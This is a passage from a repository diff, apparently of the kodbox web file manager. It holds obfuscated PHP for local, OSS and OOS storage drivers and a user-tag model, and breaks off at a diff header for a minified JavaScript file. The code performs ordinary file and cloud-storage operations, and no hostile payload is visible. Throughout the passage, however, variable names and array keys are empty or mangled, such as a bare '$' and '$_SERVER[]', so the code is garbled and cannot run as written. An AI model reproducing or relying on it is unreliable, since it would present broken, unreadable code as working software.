$this->iconvApp($); return $꽻 ? $this->getPathOuter($) : !1; } public function size($ܝ) { $ܝ = $this->iconvSystem($ܝ); return filesize_64($ܝ); } public function info($ͪ) { $ͪ = $this->iconvSystem($ͪ); if ($this->isFolder($ͪ)) { return $this->folderInfo($ͪ); } else { if ($this->isFile($ͪ)) { return $this->fileInfo($ͪ); } } return !1; } protected function infoChildren($﹨, &$̎, $ᠦ = true) { $ߺ =& $_SERVER[]; check_abort_echo(); $﹨ = rtrim($﹨, $ߺ[8]) . $ߺ[8]; if ($ᠦ) { $﹨ = $this->iconvSystem($﹨); } if (!($۸ = @opendir($﹨))) { return; } while (($ = readdir($۸)) !== !1) { if ($ == $ߺ[10] || $ == $ߺ[1388]) { continue; } $ = $﹨ . $; if (is_file($) || is_link($)) { $̎[$ߺ[77]]++; $̎[$ߺ[76]] += filesize_64($); } else { if (is_dir($)) { $̎[$ߺ[78]]++; $this->infoChildren($, $̎, !1); } } } closedir($۸); } private function folderInfo($߀, $Ϳ = false) { $͂Х =& $_SERVER[]; $߀ = rtrim($߀, $͂Х[8]) . $͂Х[8]; $ = $this->iconvApp($this->pathThis($߀)); if ($Ϳ) { return array($͂Х[32] => $, $͂Х[84] => $this->getPathOuter($߀), $͂Х[33] => $͂Х[75]); } $Ѿ = array($͂Х[32] => $, $͂Х[84] => $this->getPathOuter($߀), $͂Х[33] => $͂Х[75], $͂Х[201] => @filectime($߀), $͂Х[85] => @filemtime($߀), $͂Х[1391] => @fileatime($߀), $͂Х[1392] => is_readable($߀), $͂Х[1393] => is_writable($߀), $͂Х[1394] => get_mode($߀)); return $Ѿ; } private function fileInfo($竡, $ᨙ̕ = false) { $텶 =& $_SERVER[]; $鄅 = $this->iconvApp($this->pathThis($竡)); if ($ᨙ̕) { return array($텶[32] => $鄅, $텶[84] => $this->getPathOuter($竡), $텶[33] => $텶[200], $텶[76] => $this->size($竡), $텶[174] => $this->ext($鄅)); } $߁ = array($텶[32] => $鄅, $텶[84] => $this->getPathOuter($竡), $텶[33] => $텶[200], $텶[201] => @filectime($竡), $텶[85] => @filemtime($竡), $텶[1391] => @fileatime($竡), $텶[76] => $this->size($竡), $텶[174] => $this->ext($鄅), $텶[1392] => is_readable($竡), $텶[1393] => is_writable($竡), $텶[1394] => get_mode($竡)); return $߁; } public function exist($) { $ = $this->iconvSystem($); return @file_exists($); } public function isFile($) { $ = $this->iconvSystem($); return @is_file($); } public function isFolder($) { $ = $this->iconvSystem($); return @is_dir($); } public function listPath($ꨴ, $ = false) { $̛ =& $_SERVER[]; $ꨴ = $this->iconvSystem($ꨴ); $ꨴ = rtrim($ꨴ, $̛[8]) . $̛[8]; $ = array($̛[82] => array(), $̛[83] => array()); if (!($ьҠ = @opendir($ꨴ))) { return $; } while (($ = readdir($ьҠ)) !== !1) { if ($ == $̛[10] || $ == $̛[1388]) { continue; } $㔟 = $ꨴ . $; if (is_file($㔟)) { $[$̛[83]][] = $this->fileInfo($㔟, $); } else { $[$̛[82]][] = $this->folderInfo($㔟, $); } } closedir($ьҠ); return $; } public function listAll($樆ȉ, &$ = array()) { $ր =& $_SERVER[]; $樆ȉ = $this->iconvSystem($樆ȉ); $樆ȉ = rtrim($樆ȉ, $ր[8]) . $ր[8]; if (!($Ǟ = @opendir($樆ȉ))) { return $; } while (($ = readdir($Ǟ)) !== !1) { if ($ == $ր[10] || $ == $ր[1388]) { continue; } $ٻ = $樆ȉ . $; $꽉 = is_dir($ٻ) && !is_link($ٻ) ? 1 : 0; $ٻ = $꽉 ? $ٻ . $ր[8] : $ٻ; $[] = array($ր[84] => $ٻ, $ր[75] => $꽉, $ր[85] => intval(@filemtime($ٻ)), $ր[76] => $꽉 ? 0 : intval($this->size($ٻ))); if ($꽉) { $this->listAll($ٻ, $); } } closedir($Ǟ); return $; } public function has($Ԥ, $Ѱ = false, $Ӝ = true) { $ݑ =& $_SERVER[]; $Ԥ = $this->iconvSystem($Ԥ); $Ԥ = rtrim($Ԥ, $ݑ[8]) . $ݑ[8]; if (!($ȧ = @opendir($Ԥ))) { return !1; } $ܾ = 0; $ = 0; $툎 = 0; while (($ = readdir($ȧ)) !== !1) { if ($ == $ݑ[10] || $ == $ݑ[1388]) { continue; } $茆 = $Ԥ . $; if ($Ѱ) { $툎++; if (@is_file($茆)) { $ܾ++; } else { $++; } if ($툎 > 10000) { break; } continue; } if ($Ӝ) { if (@is_file($茆)) { return !0; } } else { if (@is_dir($茆 . $ݑ[8])) { return !0; } } } closedir($ȧ); if ($Ѱ) { return array($ݑ[207] => $ܾ, $ݑ[208] => $); } return !1; } public function hashSimple($) { $ë =& $_SERVER[]; if (!$) { return md5($ë[12]); } $ = $this->iconvSystem($); $ʩ = $this->size($); $ي = 200; $Ç⛜ = 50; if ($ʩ <= $ي * $Ç⛜) { return $this->hashMd5($) . $ʩ; } $ = $ë[12]; $֓ = intval($ʩ / $Ç⛜); $Ч = fopen($, $ë[1395]); if (!$Ч) { return $; } for ($퇄 = 0; $퇄 < $Ç⛜; $퇄++) { fseek_64($Ч, $֓ * $퇄); $ .= fread($Ч, $ي); } fseek_64($Ч, $ʩ - $ي); $ .= fread($Ч, $ي); fclose($Ч); return md5($) . $ʩ; } public function getContent($Ѭ) { $Ѭ = $this->iconvSystem($Ѭ); return file_get_contents($Ѭ); } public function setContent($, $ = '') { $ = $this->iconvSystem($); $֕ = @file_put_contents($, $, LOCK_EX); clearstatcache(); @chmod($, $this->pathAuth); return $֕ === !1 ? !1 : !0; } public function fileSubstr($ߘյ, $ = 0, $ه = false) { $ =& $_SERVER[]; $ߘյ = $this->iconvSystem($ߘյ); if ($ه === !1) { $ه = $this->size($ߘյ); } if ($ه <= 0) { return $[12]; } $窨 = fopen($ߘյ, $[1395]); if (!$窨) { return !1; } fseek_64($窨, $); $ = fread($窨, $ه); fclose($窨); return $; } public function upload($ԍ, $۴, $ = false, $ʪ = REPEAT_REPLACE) { if ($) { return $this->moveFile($۴, $ԍ); } return $this->copyFile($۴, $ԍ); } public function setModifyTime($, $܊ = '') { @touch($, intval($܊)); } public function download($ۉ, $崷) { return $this->iconvSystem($ۉ); } } class PathDriverOOS extends PathDriverBaseS3 { public function __construct($ѕՀ) { parent::__construct($ѕՀ); $this->signatureVersion($_SERVER[][216]); } public function fileOutLink($͗) { $ =& $_SERVER[]; if (substr($͗, 0, 7) == $[1339]) { $͗ = $[1340] . substr($͗, 7); } header($[161] . $͗); die; } } class PathDriverOSS extends PathDriverBase { protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $bucket = ''; protected $bucketAcl = ''; protected $endpoint = null; protected $client = null; public $ioUploadServer = "\x30"; public $ioFileOutServer = "\60"; public $cdnHost = ''; public $config = array(); public function __construct($) { parent::__construct(); include_once SDK_DIR . $_SERVER[][1396]; $this->_init($); } public function _init($틫) { $ =& $_SERVER[]; $this->config = $틫; foreach ($틫 as $Ǔ => $鶕) { if (isset($this->{$Ǔ})) { $this->{$Ǔ} = $鶕; } } if (empty($this->accessKey) || empty($this->secret) || empty($this->domain)) { throw new Exception($[1397] . LNG($[1398])); } $this->client = new OSS\OssClient($this->accessKey, $this->secret, $this->domain); $this->client->setConnectTimeout(60); } public function setBucketCors() { $Ȣ =& $_SERVER[]; $ = new OSS\Model\CorsConfig(); $撃ݑ = new OSS\Model\CorsRule(); $撃ݑ->addAllowedOrigin($Ȣ[1399]); $撃ݑ->addAllowedMethod($Ȣ[1400]); $撃ݑ->addAllowedMethod($Ȣ[1401]); $撃ݑ->addAllowedMethod($Ȣ[1402]); $撃ݑ->addAllowedMethod($Ȣ[1403]); $撃ݑ->addAllowedMethod($Ȣ[160]); $撃ݑ->setMaxAgeSeconds(600); $撃ݑ->addExposeHeader($Ȣ[1404]); $撃ݑ->addAllowedHeader($Ȣ[1399]); $->addRule($撃ݑ); try { $this->client->putBucketCors($this->bucket, $); } catch (OSS\Core\OssException $Þ) { return !1; } return !0; } public function getBucketCors() { $ =& $_SERVER[]; $ = null; try { $ = $this->client->getBucketCors($this->bucket); } catch (OSS\Core\OssException $) { return null; } if (!$ || !($༨ = $->getRules())) { return null; } $· = $༨[0]->getAllowedOrigins(); $ˆ = $༨[0]->getAllowedMethods(); $ = $༨[0]->getMaxAgeSeconds(); $ν = $༨[0]->getExposeHeaders(); $凊ʷ = $༨[0]->getAllowedHeaders(); return array($[188] => isset($·[0]) ? $·[0] : $[12], $[192] => $ˆ, $[1405] => $, $[1406] => isset($ν[0]) ? $ν[0] : $[12], $[190] => isset($凊ʷ[0]) ? $凊ʷ[0] : $[12]); } public function isBucketCors() { $ =& $_SERVER[]; $գ = $this->getBucketCors(); if (!$գ || !is_array($գ)) { return !1; } if ($գ[$[188]] != $[189] || $գ[$[190]] != $[189]) { return !1; } $ۍ = array_map($[191], $գ[$[192]]); if (!is_array($ۍ)) { $ۍ = array(); } $΄ = array($[193], $[194], $[195], $[196], $[197]); $ = array_diff($΄, $ۍ); return empty($); } public function mkfile($Ɉ, $ = '', $⎱ޱ = REPEAT_RENAME) { $ = $this->setContent($Ɉ, $); if ($ !== !1) { return $this->getPathOuter($Ɉ); } return !1; } public function mkdir($ؔ, $ = REPEAT_SKIP) { if ($ && $this->_isFolder($ؔ)) { return $this->getPathOuter($ؔ); } try { $this->client->createObjectDir($this->bucket, $this->pathEncode($ؔ)); } catch (OSS\Core\OssException $) { return !1; } return $this->getPathOuter($ؔ); } private function fileList($ℎ, $ = '', $ʓᵻ = 0) { $Ʋ =& $_SERVER[]; $ℎ = trim($ℎ, $Ʋ[8]); $甫 = empty($ℎ) && $ℎ !== $Ʋ[198] ? $Ʋ[12] : $ℎ . $Ʋ[8]; $ = $Ʋ[12]; $ά = 1000; $̽ = $ޑ = array(); while (!0) { check_abort(); $ɐ = array($Ʋ[1407] => $, $Ʋ[1408] => $甫, $Ʋ[1409] => $ά, $Ʋ[1410] => $); try { $ = $this->client->listObjects($this->bucket, $ɐ); } catch (OSS\Core\OssException $ߺƅ) { break; } $ = $->getNextMarker(); $ǵɤ = $->getObjectList(); $א = $->getPrefixList(); foreach ($ǵɤ as $杠) { if ($杠->getKey() == $甫) { continue; } $ц = $杠->getKey(); $ = $杠->getSize(); $ڨ = $杠->getLastModified(); $ݦ = $ʓᵻ ? array($Ʋ[32] => $ц, $Ʋ[76] => $, $Ʋ[180] => strtotime($ڨ)) : $ц; $Њ = $ == 0 && substr($ц, strlen($ц) - 1, 1) == $Ʋ[8] ? !0 : !1; $̀ = array($Ʋ[76] => $, $Ʋ[1411] => $, $Ʋ[85] => strtotime($ڨ), $Ʋ[1412] => $ڨ); $this->cacheMethodInfoSet($ц, $Њ, $̀); if ($Њ) { $̽[] = $ц; continue; } $ޑ[] = $ݦ; } foreach ($א as $椑) { $̽[] = $椑->getPrefix(); $this->cacheMethodInfoSet($椑->getPrefix(), !0); } if ($ === $Ʋ[12]) { break; } } $this->cacheMethodInfoSet($ℎ, !0); return array($Ʋ[82] => $̽, $Ʋ[83] => $ޑ); } public function copyFile($ǀ, $ƻҞ) { $ = $this->size($ǀ); if ($ < 1024 * 1024 * 1024) { try { $this->client->copyObject($this->bucket, $ǀ, $this->bucket, $this->pathEncode($ƻҞ)); } catch (OSS\Core\OssException $) { return !1; } return $this->getPathOuter($ƻҞ); } $ͼ = $this->multiCopyObject($ǀ, $ƻҞ, $); return $ͼ ? $this->getPathOuter($ƻҞ) : !1; } private function multiCopyObject($ܬ, $, $) { $¡ =& $_SERVER[]; try { $ = array(); if ($ = $this->hashMd5($ܬ)) { $ = array(OSS\OssClient::OSS_HEADERS => array($¡[1413] => $)); } $ = $this->client->initiateMultipartUpload($this->bucket, $this->pathEncode($), $); $ = 1; $˹ѡ = 0; $ƚ = array(); $ = 1024 * 1024 * 10; $Ћ = $this->client->generateMultiuploadParts($, $); foreach ($Ћ as $ => $ԉƗ) { $݅ = $˹ѡ + (int) $ԉƗ[$¡[1414]]; $څ = (int) $ԉƗ[$¡[337]] + $݅ - 1; $נ = array($¡[1415] => $݅, $¡[1416] => $څ); $ƚ[] = $this->client->uploadPartCopy($this->bucket, $ܬ, $this->bucket, $this->pathEncode($), $, $, $נ); $ = $ + 1; } $ = array(); foreach ($ƚ as $ => $) { $[] = array($¡[1417] => $ + 1, $¡[1418] => $); } $this->client->completeMultipartUpload($this->bucket, $this->pathEncode($), $, $); } catch (OSS\Core\OssException $) { return !1; } return !0; } public function moveFile($, $) { if ($this->copyFile($, $)) { $this->remove($); return $this->getPathOuter($); } return !1; } public function delFile($Ѧۓ) { try { $this->client->deleteObject($this->bucket, $this->pathEncode($Ѧۓ)); } catch (OSS\Core\OssException $) { return !1; } return !0; } public function delFolder($) { $ =& $_SERVER[]; if (!$this->exist($)) { return !0; } $this->listItemCache = !1; $ɭ = $this->fileList($); $this->listItemCache = !0; $ = trim($, $[8]) . $[8]; if (!empty($) && $ !== $[198] && !in_array($, $ɭ[$[82]])) { $ɭ[$[82]][] = $; } $ϙ = $this->delByBatch($ɭ[$[83]]); if (!$ϙ) { return !1; } $ϙ = $this->delByBatch($ɭ[$[82]]); if (!$ϙ) { return !1; } return $this->delFile($); } private function delByBatch($) { foreach (array_chunk($, 1000) as $ʱȇ) { try { $this->client->deleteObjects($this->bucket, $ʱȇ); } catch (OSS\Core\OssException $) { return !1; } } return !0; } public function rename($, $҇) { return $this->renameObject($, $҇); } private function fileInfo($, $ף = false, $Рƍ = array()) { $ =& $_SERVER[]; $Ͱ = array($[32] => $this->pathThis($), $[84] => $this->getPathOuter($), $[33] => $[200], $[76] => isset($Рƍ[$[76]]) ? $Рƍ[$[76]] : 0, $[174] => $this->ext($)); if ($ף) { return $Ͱ; } $Ͱ[$[201]] = $Ͱ[$[85]] = 0; $Ͱ[$[202]] = $Ͱ[$[203]] = !0; if (empty($Рƍ)) { $Ⴑ = $this->objectMeta($); if (!$Ⴑ) { return $Ͱ; } $Рƍ = array($[85] => strtotime($Ⴑ[$[1412]]), $[76] => $Ⴑ[$[1411]] + 0); } if (isset($Рƍ[$[76]])) { $Ͱ[$[76]] = $Рƍ[$[76]]; } if (isset($Рƍ[$[85]])) { $Ͱ[$[85]] = $Рƍ[$[85]]; } if (isset($Рƍ[$[180]]) && !trim($Ͱ[$[85]])) { $Ͱ[$[85]] = $Рƍ[$[180]]; } return $Ͱ; } private function folderInfo($ϴ, $ = false, $ = array()) { $Ȝ =& $_SERVER[]; $ = array($Ȝ[32] => $this->pathThis($ϴ), $Ȝ[84] => $this->getPathOuter($Ȝ[8] . $ϴ), $Ȝ[33] => $Ȝ[75]); if ($) { return $; } $[$Ȝ[201]] = $[$Ȝ[85]] = 0; $[$Ȝ[202]] = $[$Ȝ[203]] = !0; if (empty($)) { $ϴ = rtrim($ϴ, $Ȝ[8]) . $Ȝ[8]; $ɦ = $this->objectMeta($ϴ); if (!$ɦ) { return $; } $ = array($Ȝ[201] => $ɦ[$Ȝ[502]][$Ȝ[1419]], $Ȝ[85] => strtotime($ɦ[$Ȝ[1412]])); } if (isset($[$Ȝ[85]])) { $[$Ȝ[85]] = $[$Ȝ[85]]; } if (isset($[$Ȝ[201]])) { $[$Ȝ[201]] = $[$Ȝ[201]]; } return $; } public function listPath($ɽ, $ = false) { $ɗ =& $_SERVER[]; $ = $this->fileList($ɽ, $ɗ[8], !0); foreach ($[$ɗ[82]] as $ݫ => $) { $[$ɗ[82]][$ݫ] = $this->folderInfo($, $, $); } foreach ($[$ɗ[83]] as $ݫ => $) { $[$ɗ[83]][$ݫ] = $this->fileInfo($[$ɗ[32]], $, $); } return $; } protected function infoChildren($, &$އ) { $ؿ´ =& $_SERVER[]; $ = $this->fileList($, $ؿ´[12], !0); $އ[$ؿ´[78]] += count($[$ؿ´[82]]); $އ[$ؿ´[77]] += count($[$ؿ´[83]]); foreach ($[$ؿ´[83]] as $Ѿ) { if (!$Ѿ || !$Ѿ[$ؿ´[76]]) { continue; } $އ[$ؿ´[76]] += $Ѿ[$ؿ´[76]]; } } public function has($ƚɦ, $ = false, $רƳ = true) { $݆ =& $_SERVER[]; $ƚɦ = trim($ƚɦ, $݆[8]); $ȟ֢ = empty($ƚɦ) && $ƚɦ !== $݆[198] ? $݆[12] : $ƚɦ . $݆[8]; $ = $݆[12]; $ = 500; $ = $ = 0; while (!0) { check_abort(); $ֱ = array($݆[1407] => $݆[8], $݆[1408] => $ȟ֢, $݆[1409] => $, $݆[1410] => $); try { $ = $this->client->listObjects($this->bucket, $ֱ); } catch (OSS\Core\OssException $) { break; } $ = $->getNextMarker(); $օ = $->getObjectList(); $ = $->getPrefixList(); if ($) { if (count($օ) > 1 || count($օ) == 1 && $օ[0]->getKey() != $ȟ֢) { $ += count($օ) - 1; } if (!empty($)) { $ += count($); } if ($ === $݆[12]) { break; } continue; } if ($רƳ) { if (!empty($օ)) { if (count($օ) > 1 || $օ[0]->getKey() != $ȟ֢) { return !0; } } } else { if (!empty($)) { return !0; } } if ($ === $݆[12]) { break; } } if ($) { return array($݆[207] => $, $݆[208] => $); } return !1; } public function listAll($헠) { $ȘɁ =& $_SERVER[]; $ = $this->fileList($헠, $ȘɁ[12], !0); $ = array_to_keyvalue($[$ȘɁ[83]], $ȘɁ[32]); foreach ($[$ȘɁ[82]] as $) { if (is_string($)) { $[$] = array($ȘɁ[76] => 0); } } return $this->listAllFiles($헠, $); } public function canRead($) { $݄ =& $_SERVER[]; $ = $this->pathAcl($); return $ == $݄[1420] || $ == $݄[547] ? !0 : !1; } public function canWrite($تױ) { $ = $this->pathAcl($تױ); return $ == $_SERVER[][547] ? !0 : !1; } public function pathAcl($;) { $ݼ =& $_SERVER[]; if (empty($this->bucketAcl)) { $this->bucketAcl = $this->client->getBucketAcl($this->bucket); } try { $횄 = $this->client->getObjectAcl($this->bucket, $this->pathEncode($;)); } catch (OSS\Core\OssException $Ҕ) { return !1; } $ = $횄 == $ݼ[37] ? $this->bucketAcl : $횄; if ($ == $ݼ[1421]) { return $ݼ[1420]; } if ($ == $ݼ[1422]) { return $ݼ[547]; } return $; } private function chmodPath($Ί, $ؕ = '') { $ =& $_SERVER[]; $燫 = empty($ؕ) ? $[1422] : $ؕ; $砅 = array($[37], $[199], $[1421], $[1422]); if (!in_array($燫, $砅)) { return !1; } try { $this->client->putObjectAcl($this->bucket, $this->pathEncode($Ί), $燫); } catch (OSS\Core\OssException $֮آ) { return !1; } return !0; } public function getContent($Ū) { return $this->fileSubstr($Ū, -1); } public function setContent($, $섒 = '') { $ =& $_SERVER[]; try { $ϧș = $this->trafficLimit($[1423]); $փ = $this->client->putObject($this->bucket, $this->pathEncode($), $섒, $ϧș); } catch (OSS\Core\OssException $) { return !1; } $ꄔ = array($[1413] => trim($փ[$[1424]], $[118]), OSS\OssClient::OSS_CONTENT_TYPE => get_file_mime(get_path_ext($))); $this->updateObjMeta($, $ꄔ); return isset($փ[$[1425]][$[1372]]) ? !0 : !1; } private function updateObjMeta($, $) { $ = $this->pathEncode($); try { $窥 = array(OSS\OssClient::OSS_HEADERS => $); $this->client->copyObject($this->bucket, $, $this->bucket, $, $窥); } catch (OSS\Core\OssException $) { return !1; } return !0; } public function upload($༧, $, $ۢև = false, $ԙ = REPEAT_REPLACE) { $ =& $_SERVER[]; $ = trim($༧, $[8]); $ڠ = array(OSS\OssClient::OSS_CHECK_MD5 => !0, OSS\OssClient::OSS_PART_SIZE => 1024 * 1024 * 10, OSS\OssClient::OSS_HEADERS => array($[1413] => @md5_file($)), OSS\OssClient::OSS_CONTENT_TYPE => get_file_mime(get_path_ext($༧))); $ڠ = $this->trafficLimit($[1423], $ڠ); try { $this->client->multiuploadFile($this->bucket, $this->pathEncode($), $, $ڠ); } catch (OSS\Core\OssException $܋) { return !1; } return $this->getPathOuter($༧); } public function getHost() { $ѓ =& $_SERVER[]; $Ϯ = explode($ѓ[184], parent::getHost()); return $Ϯ[0] . $ѓ[184] . $this->bucket . $ѓ[10] . $Ϯ[1]; } public function uploadFormData($Ō, $ = 3600) { $͡ =& $_SERVER[]; if (!($ = $this->getHost())) { return !1; } $恼 = $; $ = date($͡[1426], time() + $恼); $ = new DateTime($); $ܦ = $->format(DateTime::ISO8601); $ = strpos($ܦ, $͡[296]); $ܦ = substr($ܦ, 0, $) . $͡[1427]; $䈛 = 1048576000 * 5; $ը = $this->pathFather($Ō); $̜ = array($͡[1326] => $ܦ, $͡[1327] => array(array($͡[1428], 0, $䈛), array($͡[1330], $͡[1331], $ը))); $ŗ = base64_encode(json_encode($̜)); $֔ = base64_encode(hash_hmac($͡[232], $ŗ, $this->secret, !0)); $騍 = array($͡[1336] => $ŗ, $͡[1429] => $this->accessKey, $͡[1332] => $͡[1324], $͡[1430] => $֔, $͡[182] => $); $騍 = $this->trafficLimit($͡[1423], $騍); return $騍; } public function multiUploadFormData($ՙ, $֫ = 3600) { $ =& $_SERVER[]; if (!($Ŀ = $this->getHost())) { return !1; } $̢ = $this->trafficLimit($[1423]); $ = $this->client->initiateMultipartUpload($this->bucket, $this->pathEncode($ՙ), $̢); return array($[223] => $, $[182] => $Ŀ . $[8] . $this->pathEncode($ՙ), $[224] => gmdate($[1431]), $[94] => $ՙ); } public function multiUploadAuthData($Ⲑ, $ = array()) { $ =& $_SERVER[]; $Ǐ = isset($[$[224]]) ? $[$[224]] : gmdate($[1431]); $ = isset($[$[174]]) ? $[$[174]] : $[12]; $ = $Ⲑ; if (isset($[$[94]])) { $ = $[$[94]]; unset($[$[94]]); } if (isset($[$[225]])) { $[$[224]] = $Ǐ; return $this->listUploadParts($, $); } $ = array($[226], $[12], $[120], $Ǐ, "\170\x2d\157\x73\x73\55\x64\x61\x74\145\72{$Ǐ}", $[8] . $this->bucket . $[8] . $ . $); if (strpos($, $[227]) === 0) { $[0] = $[228]; if ($ڟ = $this->trafficLimit($[1423])) { $ = $[1432]; array_splice($, 5, 0, $ . $[4] . $ڟ[$]); } } if (isset($[$[229]]) && $[$[229]] == $[230]) { $[0] = $[230]; } if (!empty($[$[1433]])) { $ = array_merge(array($[4]), $[$[1433]]); sort($); $[4] = implode($[231], $); } $ = implode($[231], $); $ǣ = base64_encode(hash_hmac($[232], $, $this->secret, !0)); $ɭ = $[1397] . $this->accessKey . $[4] . $ǣ; if (strpos($, $[227]) === 0) { $ɭ = array($[234] => $ɭ, $[224] => $Ǐ); if ($ڟ) { $ɭ = array_merge($ɭ, $ڟ); } } return $ɭ; } public function listUploadParts($, $˭) { $ =& $_SERVER[]; $Ոӱ = parse_url_query($˭[$[174]]); $ = $this->client->listParts($this->bucket, $this->pathEncode($), $Ոӱ[$[223]]); $ = $->getListPart(); $ = array(); foreach ($ as $) { $[] = array($[1417] => $->getPartNumber(), $[1418] => trim($->getETag(), $[118])); } unset($˭[$[225]], $˭[$[229]]); $ⓢ = $this->multiUploadAuthData($, $˭); if (empty($ⓢ)) { return !1; } return array($[234] => $ⓢ, $[224] => $˭[$[224]], $[236] => $); } public function download($, $) { if ($this->isFolder($)) { return !1; } try { $ = array(OSS\OssClient::OSS_FILE_DOWNLOAD => $); $ = $this->trafficLimit($_SERVER[][109], $); $this->client->getObject($this->bucket, $this->pathEncode($), $); } catch (OSS\Core\OssException $) { return !1; } return $; } public function fileSubstr($, $ = 0, $ = false) { if ($ === -1) { $ = array(); } else { if ($ === !1) { $ = $this->size($); } else { $ = $ + $ - 1; } $ = array(OSS\OssClient::OSS_RANGE => "{$}\x2d{$}"); } try { return $this->client->getObject($this->bucket, $this->pathEncode($), $); } catch (OSS\Core\OssException $裶) { think_exception($裶->getMessage()); return !1; } } private function trafficLimit($۠ķ, $ڵ = array()) { $ =& $_SERVER[]; if ($۠ķ == $[1423] && $this->isUploadServer() || $۠ķ == $[109] && $this->isFileOutServer()) { return $ڵ; } $ɠ = floatval($GLOBALS[$[6]][$[89]][$[107]][$۠ķ]) * 1024 * 1024 * 8; if (!$ɠ) { return $ڵ; } $ɠ = $ɠ < 819200 ? 819200 : ($ɠ > 838860800 ? 838860800 : $ɠ); $ڵ[OSS\OssClient::OSS_TRAFFIC_LIMIT] = intval($ɠ); return $ڵ; } public function link($Ț, $ = array()) { $ؠ =& $_SERVER[]; if (!$this->exist($Ț) || $this->isFolder($Ț)) { return !1; } try { $ = $this->trafficLimit($ؠ[109], $); $వ = $this->client->signUrl($this->bucket, $this->pathEncode($Ț), 3600 * 12, $ؠ[230], $); return $this->getCdnLink($వ); } catch (OSS\Core\OssException $ݮ) { return !1; } } public function fileOut($я, $ = false, $ٰޘ = false, $ = '') { $Խñ =& $_SERVER[]; if ($this->isFileOutServer()) { return $this->fileOutServer($я, $, $ٰޘ, $); } if (!$ٰޘ) { $ٰޘ = $this->pathThis($я); } $ٰޘ = rawurlencode($ٰޘ); $ = get_file_mime(get_path_ext($ٰޘ)); if ($ == $Խñ[217]) { return parent::fileOut($я, $, $ٰޘ, $); } $ = $ ? $Խñ[1434] : $Խñ[1435]; $ĕ = array(OSS\OssClient::OSS_SUB_RESOURCE => $Խñ[1436] . rawurlencode("{$}\73\146\x69\x6c\x65\x6e\x61\155\145\x3d{$ٰޘ}")); $ĕ[OSS\OssClient::OSS_SUB_RESOURCE] .= $Խñ[1437] . rawurlencode($); $ = $this->link($я, $ĕ); $this->fileOutLink($); } public function fileOutServer($̿, $ = false, $ = false, $ֶ = '') { parent::fileOut($̿, $, $, $ֶ); } public function fileOutImage($, $Жޠ = 250) { $Ʉ = array(OSS\OssClient::OSS_PROCESS => $_SERVER[][1438] . $Жޠ); $ = $this->link($, $Ʉ); $this->fileOutLink($); } public function fileOutImageServer($띈, $ = 250) { parent::fileOutImage($띈, $); } public function fileOutLink($ԃ) { $ΰ =& $_SERVER[]; if (!$this->isCdnHost() && substr($ԃ, 0, 7) == $ΰ[1339]) { $ԃ = $ΰ[1340] . substr($ԃ, 7); } header($ΰ[161] . $ԃ); die; } public function hashMd5($뚕, $ = '') { $ =& $_SERVER[]; $ّ = $this->_objectMeta($뚕); if (!$ّ) { return $[12]; } if (!isset($ّ[$[1413]]) && !empty($)) { $ = $this->updateObjMeta($뚕, array($[1413] => $)); $ّ[$[1413]] = $ ? $ : $[12]; } return isset($ّ[$[1413]]) ? strtolower($ّ[$[1413]]) : $[12]; } public function size($勱) { $ = $this->objectMeta($勱); return $ ? $[$_SERVER[][76]] : 0; } public function info($) { if ($this->isFolder($)) { return $this->folderInfo($); } else { if ($this->isFile($)) { return $this->fileInfo($); } } return !1; } public function exist($ߴ) { return $this->isFile($ߴ) || $this->isFolder($ߴ); } public function isFile($) { return !$this->isFolder($) && $this->objectMeta($); } public function isFolder($ԋ) { return $this->cacheMethod($_SERVER[][165], $ԋ); } protected function objectMeta($ݟȺī) { return $this->cacheMethod($_SERVER[][167], $ݟȺī); } protected function _objectMeta($) { $뚍 =& $_SERVER[]; try { $ = $this->client->getObjectMeta($this->bucket, $this->pathEncode($)); } catch (OSS\Core\OssException $) { $ = !1; } if ($) { $[$뚍[76]] = intval($[$뚍[1411]]); } return $; } protected function _isFolder($Έ́) { $ݖ =& $_SERVER[]; if ($Έ́ == $ݖ[12] || $Έ́ == $ݖ[8]) { return !0; } $܌ = array($ݖ[1407] => $ݖ[8], $ݖ[1408] => rtrim($Έ́, $ݖ[8]) . $ݖ[8], $ݖ[1409] => 1, $ݖ[1410] => $ݖ[12]); $ݾ = $this->client->listObjects($this->bucket, $܌); if ($ݾ->getObjectList() || $ݾ->getPrefixList()) { return !0; } return !1; } } goto E͚; e: class UserTagSourceModel extends ModelBase { protected $tableName = "\x75\x73\x65\x72\137\x66\141\x76"; protected function cacheFunctionAlias($퉇) { $Ά =& $_SERVER[]; return array($Ά[1972] => array($Ά[2356] . USER_ID, $Ά[1973])); } protected function listData() { $ =& $_SERVER[]; $ = array($[1661] => USER_ID, $[483] => array($[1976], 0)); $ = $[2357]; $ = $this->field($)->where($)->order($[1979])->select(); return $ ? $ : array(); } protected function addToTag($ϙ, $) { $ù =& $_SERVER[]; if (!Model($ù[2120])->listData($)) { return !1; } if (is_numeric($ϙ)) { $ = Model($ù[824])->pathInfo($ϙ); if (!$) { return !1; } } else { $ = IO::infoSimple($ϙ); if (!$) { return !1; } $ɿ = $[$ù[32]]; $ = $[$ù[33]]; if (isset($[$ù[410]])) { $ = $[$ù[410]] == $ù[88] ? $ù[75] : $ù[200]; } } $ = array($ù[1661] => USER_ID, $ù[483] => $, $ù[421] => $ϙ, $ù[422] => $ ? $ : $ù[416], $ù[420] => $ɿ ? $ɿ : $ù[12], $ù[1865] => 0); if ($this->where($)->find()) { return !1; } return $this->add($); } protected function removeFromTag($齶, $łª) { $ =& $_SERVER[]; if (!Model($[2120])->listData($łª)) { return !1; } if (is_array($齶)) { $齶 = array($[7], $齶); } $ܞ = array($[1661] => USER_ID, $[483] => $łª, $[421] => $齶); return $this->where($ܞ)->delete(); } protected function removeByTag($) { $е =& $_SERVER[]; if (!$) { return !1; } $ԛ = array($е[1661] => USER_ID, $е[483] => $); return $this->where($ԛ)->delete(); } protected function removeBySource($) { $¾ =& $_SERVER[]; if (is_array($)) { $ = array($¾[7], $); } $ٿ = array($¾[1661] => USER_ID, $¾[483] => array($¾[1016], 0), $¾[421] => $); return $this->where($ٿ)->delete(); } }
\ No newline at end of file
diff --git a/static/app/dist/api.js b/static/app/dist/api.js
index e6e0b961..b98cec62 100755
--- a/static/app/dist/api.js
+++ b/static/app/dist/api.js
@@ -1,2 +1,2 @@
-/*! Powered by kodbox;hash:51ba312d82ad4b52ee9c [2023/11/08 16:24:23] */
